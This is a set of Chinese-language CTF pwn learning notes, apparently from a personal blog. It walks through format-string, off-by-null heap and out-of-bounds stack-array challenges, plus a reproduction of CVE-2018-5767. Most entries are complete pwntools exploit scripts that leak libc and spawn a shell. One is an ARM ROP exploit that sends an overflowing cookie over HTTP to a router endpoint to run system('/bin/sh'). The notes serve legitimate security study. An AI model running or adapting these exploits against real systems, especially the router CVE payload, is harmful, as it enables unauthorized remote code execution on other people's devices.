pwn7123456789int sub_89588B7(){ char s; // [esp+0h] [ebp-68h] sub_895F980("please input the way you want go"); __libc_read(0, &s, 96); _IO_puts(&s); return sub_80488E7(&s, 0);}
一个char为什么能占据那么多栈空间???
应该是有很多路径,可以根据/bin/sh回溯吧?
是的…一点点回溯就可以找到
845542A -> 816c3f7->8091787->805ac47 ->804d177->8049ae7->8048cd7->8048977->80488e7->main
p32(87)+p32(83)+p32(68)+p32(87)+p32(65)+p32(65)+p32(87)+p32(68)+p32(87)
878368876565876887
WSDWAAWDW(这个就是答案)
为什么87变成0x38了 56了
0x80488fd movzx eax, byte ptr [eax]
pwn8格式化字符串,修改内存值即可
修改0x80EBF9C处的值为28
1234567891011121314int sub_80488CE(){ int result; // eax char v1; // [esp+0h] [ebp-68h] sub_804F9B0("please input what you want say"); __libc_read(0, &v1, 96); sub_804F9B0(&v1); if ( dword_80EBF9C == 28 ) result = sub_804F6B0("/bin/sh"); else result = sub_804F9B0("the key is %d %d"); return result;}
123456789101112131415from pwn import *payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)sh = remote("101.43.247.245",9207)context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x008048987")#payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)payload = fmtstr_payload(4,{0x80EBF9C:28})sh.sendline(payload)sh.interactive()
pwn91234567891011int sub_8048945(){ char v1; // [esp+0h] [ebp-1B8h] char v2; // [esp+150h] [ebp-68h] _IO_puts("please input your username"); __libc_read(0, &v2, 32); _IO_puts("please input your passwd"); __libc_read(0, &v1, 335); return sub_80488E7(&v1);}
不存在溢出
后面函数是往一个地址写数据..有什么用呢?
有后们函数,所以应该是要覆盖字符串,或者说字符串复制
0x08048948 覆盖为 0x80488CE(system)
第一次写入要覆盖的地址,第二次覆盖
问题回头有时间可以自己编译一下符号
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究
哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
plt的过程再熟悉下
pwn入门-29-off—by-one
总的感觉就是通过off by null来修改size区域,然后造成堆块合并,使得堆块重叠,可以修改可控堆块,
主要看了一个这里面的例子:https://www.jianshu.com/p/8eb55c40ec4a 还有权威指南的pwn书
https://github.com/shellphish/how2heap/blob/master/glibc_2.23/poison_null_byte.c how2heap的例子也不错
demo
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <unistd.h>#include <assert.h>char *ptr[0x100] = {0};void menu(){ puts("1.malloc"); puts("2.edit"); puts("3.show"); puts("4.free"); puts("5.exit");}void my_malloc(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); ptr[index] = malloc(size); puts("content:"); read(0,ptr[index],size);}void my_edit(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); puts("content:"); read(0,ptr[index],size);}void my_free(){ int index; puts("index:"); scanf("%d",&index); free(ptr[index]);}void my_show(){ int index; puts("index:"); scanf("%d",&index); puts(ptr[index]);}int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); puts("welcome"); while(1){ int op; menu(); scanf("%d",&op); if(op == 1) my_malloc(); else if(op == 2) my_edit(); else if(op == 3) my_show(); else if(op == 4) my_free(); else if(op == 5) exit(0); else puts("invalid!"); } return 0;}
利用1:扩展被释放块gcc -g demo.c demo1
patchelf –set-interpreter ~/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 ./demo1
patchelf –set-rpath /root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./demo1
覆盖前
覆盖后,可以修改后面的bin的内容了,然后再申请后面bin,就可以申请到free_hook等任意地址,进行修改
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context.log_level = 'debug'p = process('./demo1')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(0,0x18,b'a')alloc(1,0x418,b'b')alloc(2,0x28,b'c')free(1)edit(0,0x19,p64(0)*3+p8(0x51))alloc(3,0x448,b'\xa0') # 0x440 0x448都可以,free(2)show(3)leak_libc = u64(p.recv(6).ljust(8,b"\x00"))libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']#print(hex(leak_libc))edit(3,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))alloc(4,0x28,b'/bin/sh')alloc(5,0x28,p64(system))free(4)p.interactive()#pause()
利用2: 扩展已分配块
感觉和1差不多其实,就是换一下顺序
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context.log_level = 'debug'p = process('./demo1')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(0,0x18,b'a')alloc(1,0x418,b'b')alloc(2,0x28,b'c')alloc(3,0x28,b'd')edit(0,0x19,p64(0)*3+p8(0x51))free(1)alloc(4,0x448,b'\xa0')show(4)leak_libc = u64(p.recv(6).ljust(8,b"\x00"))libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']print(hex(leak_libc))free(2)edit(4,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))alloc(5,0x28,b'/bin/sh')alloc(6,0x28,p64(system))free(5)p.interactive()#pause()
利用3: 收缩被释放块 poison null byte权威指南里面的图,还不错
博主的图,也不错,不过最后好像少了一块,进行了补全
free 5之前
free之后tcachebin 0x50多了一项,此时利用edit修改fd,就可以实现任意地址写
修改fd后,此时就可以修改hook指针getshell
exp
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from pwn import *context.log_level = 'debug'p = process('./demo')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(1,0x18,b'a')alloc(2,0x100,b'b')alloc(3,0x80,b'c')alloc(4,0x10,b'd')edit(2,0x100,b'\x00' * 0xf0 + p64(0x100))#这里写一个0x100是为了绕过检查,因为之前的0x111被改成了0x100#ptmalloc会根据nextchunk的prev_size字段检查是否大小匹配。这里写入0x100的地方正好是利用off-by-null漏洞后nextchunk的prev_size字段。for i in range(9,16): alloc(i,0x108,b'p')for i in range(9,16): free(i)free(2)edit(1,0x19,b'A' * 0x18 + p8(0))alloc(2,0x80,'d')alloc(5,0x40,'e')for i in range(17,24): alloc(i,0x88,b'p')for i in range(17,24): free(i)free(2)free(3)alloc(6,0xa0,b'\xa0')free(5)show(6)leak_libc = u64(p.recv(6).ljust(8,b'\x00'))print(hex(leak_libc))libc_base = leak_libc - 0x00007f74b3a5cca0 + 0x7f74b3671000 - 0x200free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']edit(6,0xa0,p8(0) * 0x80 + p64(0x90) + p64(0x50) + p64(free_hook))pause()alloc(7,0x40,b'/bin/sh\x00')alloc(8,0x40,p64(system))free(7)#log.success(hex(libc_base))#gdb.attach(p)#pause()p.interactive()
问题libc.symbols 覆盖的到底是什么呢?
pwn入门-28-高级网络攻防考试一题
在考试的时候没有做出来,考完后和老曹交流学会了,主要卡住的点,是走错了方向,一直在考虑堆的漏洞怎么利用,其实不是堆的漏洞,怎么说呢,其实是一个知识点的事,init_array这个节,会进行一些初始化操作,不知道确实很难搞…不过其实也不是没有办法,其实可以进行一些全局搜索之类的,寻找线索.
题目文件: 本链接加attachments.tar.gz
解题思路寻找对应函数123456789101112131415161718192021222324252627282930313233__int64 __fastcall main(const char *a1, char **a2, char **a3){ int v4; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); ((void (__fastcall *)(const char *, char **, char **))sub_14A9)(a1, a2, a3); while ( 1 ) { ((void (__fastcall *)(const char *))sub_1531)(a1); printf("choice: "); a1 = "%d"; __isoc99_scanf("%d", &v4); if ( v4 == 4 ) break; if ( v4 <= 0 ) exit(1); ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4); } return 0LL;}unsigned __int64 sub_1531(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("1. add"); puts("2. delete"); puts("3. edit"); puts("4. exit"); return v1 - __readfsqword(0x28u);}
一上来看sub_1531是能看到菜单的,但是很明显,下面没有对应的函数,就感到很奇怪了,(其实下次可以直接在ida的函数列表里找,如果不是花指令的话,花指令的话,还是直接看汇编,看有没有红色的代码)
当时是在gdb中动态调试找到的对应的函数
同时发现了一个gift函数,用来泄露地址的,还发现了一个后门函数,可以直接getshell,于是现在的问题就变成了怎么执行这个后门函数呢? 也就是怎么劫持控制流, 覆盖返回地址 or 利用堆进行任意内存读写, 似乎 都不太行…于是就卡住了
1234567891011121314151617181920unsigned __int64 sub_1206(){ void *v0; // rax unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Ok, you find the gift"); v0 = malloc(0LL); printf("%#lx, %#lx, %#lx\n", sub_1206, &write, v0); return v2 - __readfsqword(0x28u);}unsigned __int64 sub_11C9(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); system("/bin/sh"); return v1 - __readfsqword(0x28u);}
柳暗花明差一村12345 ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);.data:0000000000005000 off_5000 dq 0FFFFFFFF21525389h ; DATA XREF: main+A0↑o.data:0000000000005008 dq 0FFFFFFFF21525477h.data:0000000000005010 dq 0FFFFFFFF21525518h
当时在main函数中,看到了这个,也理解了off_5000是data节中的数据,利用这里的数据进行一些运算,然后就到达了函数地址,例如0位置,运算后就是add函数的位置,但是 gift和后门函数,都在内存中没有这个偏移,堆虽然可以写,但是不知道堆的地址呀,但gift可以泄露,但gift怎么调用呢?? 于是就卡死了………
其实这里可以尝试爆破的…(我觉得),后面有时间可以试试
于是就在这里卡死了…就像开头提的一样,其实在init_array中有初始化这个操作,保存了gift对应的地址,怎么说呢…应该让自己多学一点工具,辅助自己去探索可能的路径
正解 elf执行时会先走这个init,这里面有个sub_144E,就是它把gift函数加载进去了,能够看到,它加载到的地址的偏移就是0x29C0
&0xFFFFFFFFFFFFF000LL是干了啥呢? 与之后就是程序0x5000的位置,是为了得到这个位置,然后+0x29C0就是存储gift的地方
不过这里为啥是0xDEADBF61LL,这是什么逻辑,后面在main中要+0xDEADBEEFLL,
所以0x1278 - 0xDEADBF61 +0xDEADBEEF = 0x1206,就是gift的地址,所以这个地址应该是这个原因,因为要考虑到pie,所以要用一个函数或者变量的地址,这里用了0x1278的, 和它差多少呢? 就是 0x1206 - 0xDEADBEEF-0x1278,也就是-0xdeadbf61
12345678910111213141516.init_array:0000000000003D60 ;org 3D60h.init_array:0000000000003D60 off_3D60 dq offset sub_11C0 ; DATA XREF: LOAD:0000000000000168↑o.init_array:0000000000003D60 ; LOAD:00000000000002F0↑o.init_array:0000000000003D68 dq offset sub_144E.init_array:0000000000003D68 _init_array ends.init_array:0000000000003D68 unsigned __int64 sub_144E(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); *(_QWORD *)(((unsigned __int64)&unk_5018 & 0xFFFFFFFFFFFFF000LL) + 0x29C0) = (char *)sub_1278 - 0xDEADBF61LL; return v1 - __readfsqword(0x28u);}
所以就可以先通过调用gift来进行泄露地址,0x29C0 = 10688 , 10688/8 = 1336,这是因为指针的偏移,按照char类型来算????? 是吗?
因为在main中还有个-1,所以是1337,输入1337就可以调用gift了!
最终步骤123choice: 1337Ok, you find the gift0x5557ed770206, 0x7f1094c79d80, 0x5557eea752a0
之前取这些数据的时候老出问题…….
先把前面的数据接收了,然后再接收三个值,怎么接收呢,可以按照长度来,但是感觉比较der,还是看老曹的..recvline之后strip去掉最后的空格,然后decode解码,然后通过”, “分割,这样gift就成了数组, 0 1 2 对应着三个值,就可以了!
123456gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206#print(hex(pie))leak_heap_addr = int(gift[2], 16)#print(hex(leak_heap_addr))vul_addr = leak_heap_addr + 0x20
然后把后门地址写入堆地址,此时也有堆的地址了,再次利用main函数中的调用逻辑,调用就可以了
123456789backdoor_addr = pie + 0x11c9p.recvuntil('choice: ')p.sendline('1')p.recvuntil('content: ')p.send(p64(backdoor_addr - 0xdeadbeef))trigger_input = (vul_addr - pie - 0x5000) // 8 + 1
//是整除的意思
exp123456789101112131415161718192021222324252627282930313233343536from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)p =remote("xxxxx", xxx)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.sendlineafter('choice: ', str(1337))p.recvuntil('Ok, you find the gift\n')gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206#print(hex(pie))leak_heap_addr = int(gift[2], 16)#print(hex(leak_heap_addr))vul_addr = leak_heap_addr + 0x20backdoor_addr = pie + 0x11c9p.recvuntil('choice: ')p.sendline('1')p.recvuntil('content: ')p.send(p64(backdoor_addr - 0xdeadbeef))trigger_input = (vul_addr - pie - 0x5000) // 8 + 1p.recvuntil('choice: ')p.sendline(str(trigger_input))p.interactive()
待解决这个题如果正向写代码,要怎么写呢?
ida一开始进去不是main而是…这里是否…
CVE-2018-5767漏洞复现的关键问题
和恒哥进行的复现
arm架构的rop 和x86的架构的区别还是挺大的,
1.pop {r4,r5,r6,fp,pc}会弹出5个值, 3个aaaa给前三个,然后r12-3给fp, wait+24,也就是pop {r3,pc}给pc
2.执行pop {r3,pc}, 把puts传给 r3, 然后 mov r0,sp;blx r3给pc,
3.mov r0,sp好像没啥用, blx r3跳转指令,它用于将程序控制权转移到寄存器 R3 中存储的地址处。BLX指令可以用于跳转到一个函数或者子程序的地址。 所以就跳到了puts了!
栈传参数,此时栈顶是要puts的字符串,
python2版本exp1234567891011121314import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']_str = "xxxxxx\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
python3版本exp python3和python2的转换一直出奇奇怪怪的问题,是编码的问题,如何过渡好呢?
https://blog.csdn.net/yongbaoii/article/details/108873780
1234567891011121314import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']_str = "xxxxxx\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3).decode("iso-8859-1") +p32(puts).decode("iso-8859-1") +p32(mov_r0).decode("iso-8859-1")+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
decode(“iso-8859-1”) 就可以了!
system(“/bin/sh”) 看博主一直复现失败,打算试试qemu-system模式的..但是在自己服务器上就复现成功了…很玄学(计算机没有玄学!)
123456789101112131415import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']system_addr = base + libc.sym['system']_str = "/bin/sh\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
坑1.gdb-multiarch ./bin/httpd 要对应启动的文件,不能是它的备份等,这可能和gdb的工作原理有关
参考https://www.52pojie.cn/thread-1674625-1-1.html
python共存问题
https://blog.csdn.net/Huang_8208_sibo/article/details/124762816
https://blog.csdn.net/qq_38154820/article/details/122955197
https://mp.weixin.qq.com/s/mRq3n3jDM0zvR15JAsLYSA
pwn入门-27-5月乙队月赛三题
这次月赛的pwn,出的偏简单,终于能做出题来了……..不过在做题的时候很多小点有点卡,所以平常要把这些知识点,细节都补充完整和练熟.
题目文件: 本链接+题目文件名
1.easy_leak 本身题目不难,但是自己越做越复杂了..整体的思路还是有待加强.
题目分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051void __fastcall menu(){ puts("Hello, my beeeest friend!Also a small chal for you!Good luck!"); puts("1. Read num"); puts("2. Write num"); puts("0. Exit");}int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int choice; // [rsp+4h] [rbp-41Ch] BYREF unsigned int idx; // [rsp+8h] [rbp-418h] BYREF unsigned int num_to_write; // [rsp+Ch] [rbp-414h] BYREF int nums[256]; // [rsp+10h] [rbp-410h] BYREF unsigned __int64 v8; // [rsp+418h] [rbp-8h] v8 = __readfsqword(0x28u); init(); menu(); memset(nums, 0, sizeof(nums)); while ( 1 ) { printf("> "); if ( (int)__isoc99_scanf("%u", &choice) < 0 ) break; if ( choice == 1 ) { printf("Idx:"); if ( (int)__isoc99_scanf("%u", &idx) < 0 ) break; printf("The num: %u\n", (unsigned int)nums[idx]); } else { if ( choice != 2 ) break; printf("Idx:"); if ( (int)__isoc99_scanf("%u", &idx) < 0 ) break; printf("Num:"); if ( (int)__isoc99_scanf("%u", &num_to_write) < 0 ) break; nums[idx] = num_to_write; puts("Done!"); } } puts("Byebye!"); return 0;}
能够看到,它实现了读写栈上的一个数组的功能,但是没有设置边界,于是可以读写栈上的任意值,那可以直接修改返回地址,但是没有后门函数,(于是自己就先用rop链写system(“/bin/sh”),失败后又用了orw…越做越麻烦,其实可以直接用one_gadget的!)
寻找返回地址和gadget int nums[256]; // [rsp+10h] [rbp-410h] BYREF
现在明白在ida里面这个注释是什么意思了…就是从rsp+0x10的位置开始读nums,或者rbp-0x410的位置,这俩等价
1234567891011121314-0000000000000410 nums dd 256 dup(?)-0000000000000010 db ? ; undefined-000000000000000F db ? ; undefined-000000000000000E db ? ; undefined-000000000000000D db ? ; undefined-000000000000000C db ? ; undefined-000000000000000B db ? ; undefined-000000000000000A db ? ; undefined-0000000000000009 db ? ; undefined-0000000000000008 var_8 dq ?+0000000000000000 s db 8 dup(?)+0000000000000008 r db 8 dup(?)+0000000000000010+0000000000000010 ; end of stack variables
num占了256个4字节的空间,总共0x400, 然后还有8字节不知道干啥的,剩下8字节是canary? 然后就是rbp和返回地址了
开启了pie,下断点的时候先vmmap看一下基址,然后+ida里面的地址
调试试试一下,所以打印258 259是canry,(注意num从0开始计数),260 261是rbp 262 263是返回地址
1234567262 0xf7deb083263 0x7fff 返回地址, 同时也是lib_start_main+243地址,即可以算出glibc的地址270 0x55554942271 0x5555 main的地址
把rsp修改成/bin/sh,然后返回地址 pop rdi, 然后system,就行了把(错了错了! ,rop的基本流程都忘了,在rop的时候rsp已经到了最后的rbp那个位置了….改上面干啥…)
泄露基地址12262 0xf7deb083263 0x7fff 返回地址, 同时也是lib_start_main+243地址,即可以算出glibc的地址
泄漏的地址和libc加载的地址相差是固定的,可以从ida里看,也可以调试的时候看一下,调试的时候,打印出来它的值,减去加载的地址,就得到了固定的偏移
12345678910111213141516readone(262)io.recvuntil("The num: ")addr1 = io.recv(10)readone(263)io.recvuntil("The num: ")addr2 = io.recv(5)print(hex(int(addr1)))print(hex(int(addr2)))#libcbase = int(addr1) - 0x240b3## 拼接libcbase = int(addr2)*(2**32)+int(addr1) - 0x240b3libcbase1 = int(addr2)*(0b100000000000000000000000000000000)+int(addr1) - 0x240b3libcbase2 = (int(addr2)<<32) + int(addr1) - 0x240b3 # 注意<<优先级很低,加个括号
io接收到的是byte流 比如b’3033882803’,并且一次是不能打印完全的,只是4字节,要两次的拼起来
int(add2)*(2**32) 这样,或者左移32位才对,当时做题的时候好像是直接乘了100000…. 内存爆了还是溢出,报错了,应该是二进制的1000(32个0)
封装函数,实现快速数据操作12345678910111213141516171819202122232425def read1(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index)) io.recvuntil('The num: ') low_addr=int(io.recvuntil('\n',drop=True),10) # 这样就可以接收到全部了,不用考虑长度,到\n截止,10进制接收 io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index+1)) io.recvuntil('The num: ') high_addr=int(io.recvuntil('\n',drop=True),10) return high_addr*(2**32)+low_addrlibcbase3 = read1(262) - 0x240b3print(hex(libcbase3))def write1(index,num): high_num = int(num/(2**32)) low_num = num%(2**32) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(low_num)) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index+1)) io.sendlineafter("Num:",str(high_num))
one_gadget解法 题目有给libc版本,但是感觉好像不对啊… 给的是2.27,其实是2.31-0ubuntu9.7_amd64
123456789101112131415root@vultr:~/yuesai/easyleak# one_gadget /root/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.60xe3b2e execve("/bin/sh", r15, r12)constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL0xe3b31 execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL0xe3b34 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
exp12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def read1(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index)) io.recvuntil('The num: ') low_addr=int(io.recvuntil('\n',drop=True),10) # 这样就可以接收到全部了,不用考虑长度,到\n截止,10进制接收 io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index+1)) io.recvuntil('The num: ') high_addr=int(io.recvuntil('\n',drop=True),10) return high_addr*(2**32)+low_addrdef write1(index,num): high_num = int(num/(2**32)) low_num = num%(2**32) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(low_num)) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index+1)) io.sendlineafter("Num:",str(high_num))libcbase = read1(262) - 0x240b3#print(hex(libcbase3))onegadget = libcbase + 0xe3b31write1(262,onegadget)io.sendlineafter("> ",str(0))io.interactive()
不对不对..其实不是这个libc版本,所以onegadget是瞎猫碰死耗子,撞上了….(或者说他前面的指令不影响后续getshell)
system解法找到/bin/sh和system 以及gadget
12345678910111213ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'0x00000000000248f2 : pop rdi ; pop rbp ; ret0x0000000000023b6a : pop rdi ; ret ROPgadget --binary libc.so.6 --string '/bin/sh'0x00000000001b45bd : /bin/sh ROPgadget --binary libc.so.6 --only 'ret'0x0000000000022679 : ret system = libcbase + mylibc.symbols['system']
12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def read1(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index)) io.recvuntil('The num: ') low_addr=int(io.recvuntil('\n',drop=True),10) # 这样就可以接收到全部了,不用考虑长度,到\n截止,10进制接收 io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index+1)) io.recvuntil('The num: ') high_addr=int(io.recvuntil('\n',drop=True),10) return high_addr*(2**32)+low_addrdef write1(index,num): high_num = int(num/(2**32)) low_num = num%(2**32) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(low_num)) io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index+1)) io.sendlineafter("Num:",str(high_num))libcbase = read1(262) - 0x240b3#print(hex(libcbase3))pop_rdi = libcbase +0x000000023b72system = libcbase + mylibc.symbols['system']binsh = libcbase +0x00000000001b45bdwrite1(262,pop_rdi)write1(264,binsh)write1(266,system)io.sendlineafter("> ",str(0))io.interactive()
这里有个大坑…栈对其? 栈平衡? 是的,需要加一个ret,不过为什么呢??
看了一下出题人用的libc版本:GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9)
前面onegadget瞎猫碰死耗子..
会什么会加载四个呢??,比如libc, 减哪个的值呢? 减最开头的
orw解法 记录一下……其实没必要..
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144from pwn import *context(arch='i386',os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def readone(index): io.sendlineafter("> ",str(1)) io.sendlineafter("Idx:",str(index))def writeone(index,content): io.sendlineafter("> ",str(2)) io.sendlineafter("Idx:",str(index)) io.sendlineafter("Num:",str(content))writeone(0,1852400175)writeone(1,6845231)readone(1)readone(262)io.recvuntil("The num: ")addr1 = io.recv(10)readone(263)io.recvuntil("The num: ")addr2 = io.recv(5)#print(hex(int(addr1)))#print(hex(int(addr2)))system = int(addr1) - 231 + 0x2d799libcbase = int(addr1) - 0x21c87#print(hex(system))readone(270)io.recvuntil("The num: ")mainlow = io.recv(10)readone(271)io.recvuntil("The num: ")mainhigh = io.recv(5)#print(mainhigh)pop_rdi = libcbase + 0x002164fpop2 = libcbase+0x022394pop_rsi = libcbase +0x0000023a6apop_rdx = libcbase + 0x001b96writeone(262,pop_rdi)#writeone(263,mainhigh)binsh = libcbase +0x001b3d88#binsh = libcbase + mylibc.search(b"/bin/sh")writeone(264,0)writeone(265,0)writeone(266,pop_rsi)writeone(267,int(addr2))writeone(268,int(mainlow)+0x202100)writeone(269,int(mainhigh))writeone(270,pop_rdx)writeone(271,int(addr2))writeone(272,32)writeone(273,0)read = libcbase + mylibc.symbols['read']writeone(274,read)writeone(275,int(addr2))# openwriteone(276,pop_rdi)writeone(277,int(addr2))writeone(278,int(mainlow)+0x202100)writeone(279,int(mainhigh))writeone(289,int(addr2))# readwriteone(290,pop_rdi)writeone(291,int(addr2))writeone(292,3)writeone(293,0)writeone(294,pop_rsi)writeone(295,int(addr2))writeone(296,int(mainlow)+0x202100)writeone(297,int(mainhigh))writeone(298,pop_rdx)writeone(299,int(addr2))writeone(300,32)writeone(301,0)writeone(302,read)writeone(303,int(addr2))#system = libcbase + 0x14b88# writewriteone(304,pop_rdi)writeone(305,int(addr2))writeone(306,1)writeone(307,0)writeone(308,pop_rsi)writeone(309,int(addr2))writeone(310,int(mainlow)+0x202100)writeone(311,int(mainhigh))writeone(312,pop_rdx)writeone(313,int(addr2))writeone(314,32)writeone(315,0)write1 = libcbase + mylibc.symbols['write']writeone(316,write1)writeone(317,int(addr2))io.sendlineafter("> ",str(0))io.sendline("/flag\x00")#pause()print(io.recv(100))io.interactive()
2. easy_heaphttps://blingblingxuanxuan.github.io/2020/03/01/hacknote/
刚拿到这道题的时候就发现特别熟悉…想了下是道原题(hacknote),不过进行了点小的修改.
给自己的提醒是做题或者以后的实战中,要有一个清晰的思路,不是想到什么干什么,而是先从最简单的最好用的开始,比如这道题,其实有后门函数可以直接利用,但自己一开始想到的就是构造rop链(不过为什么没成功呢???后面分析)
